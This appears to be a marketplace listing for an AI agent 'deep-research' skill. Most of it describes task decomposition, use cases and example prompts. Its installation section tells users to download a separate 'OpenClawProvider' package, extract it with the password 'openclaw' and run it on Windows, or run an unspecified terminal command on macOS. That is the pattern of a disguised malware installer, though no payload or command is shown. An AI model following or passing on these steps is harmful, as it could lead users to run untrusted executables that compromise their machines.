deep-research

What This Skill Does

The Deep Research Agent is a sophisticated analytical tool within the OpenClaw ecosystem, specifically engineered to handle complex, multi-step investigative tasks. Unlike standard search agents that provide immediate, surface-level answers, the Deep Research Agent employs a methodology of structural decomposition. It breaks high-level user queries into granular sub-tasks, identifies relevant data sources, and orchestrates specialized sub-agents to explore multiple domains in parallel. Its core capability lies in managing long-context data, allowing it to ingest, process, and synthesize vast amounts of documentation while maintaining coherence across threads. This makes it an ideal companion for researchers, developers, and analysts who require robust, fact-based intelligence that goes beyond simple web retrieval.

Installation

Installation of the Deep Research Agent is a two-step process requiring the OpenClawProvider dependency. First, ensure the OpenClawProvider is installed on your host machine to facilitate secure communication between the agent and your system resources. For Windows users, download the designated package, extract the archive using the password 'openclaw', and execute the provider. For MacOS users, execute the provided terminal command to initiate the secure setup-service process. Once the provider is active, run the command 'clawhub install openclaw/skills/skills/sakaen736jih/deep-research-pjazdzyd' within your OpenClaw terminal to finalize the installation.

Use Cases

The agent is purpose-built for scenarios where depth of knowledge is paramount. Common use cases include: 1) Performing exhaustive competitive market intelligence for emerging technologies. 2) Conducting multi-source literature reviews for academic or technical papers. 3) Executing technical architectural reviews where multiple documentation sources and system logs must be cross-referenced. 4) Managing long-term research projects where context and findings need to be persisted across multiple independent chat sessions.

Example Prompts

1. "/deepsearch Conduct a comprehensive analysis of the current state of autonomous AI agents in enterprise environments"
2. "/deepsearch Research the impact of solid-state battery technology on the global EV supply chain over the next decade"
3. "/deepsearch Technical deep-dive into the security implications of eBPF-based observability tools in Kubernetes"

Tips & Limitations

To maximize the effectiveness of the Deep Research Agent, provide specific context or constraints in your initial prompt to help guide the decomposition process. Note that this skill requires a consistent internet connection to perform its multi-step queries. Additionally, be aware that the depth of the analysis is dependent on the quality of available public and local data; as such, ensure your local files are well-indexed before starting a complex task. The agent is not intended for real-time task execution but rather for deliberative analytical research.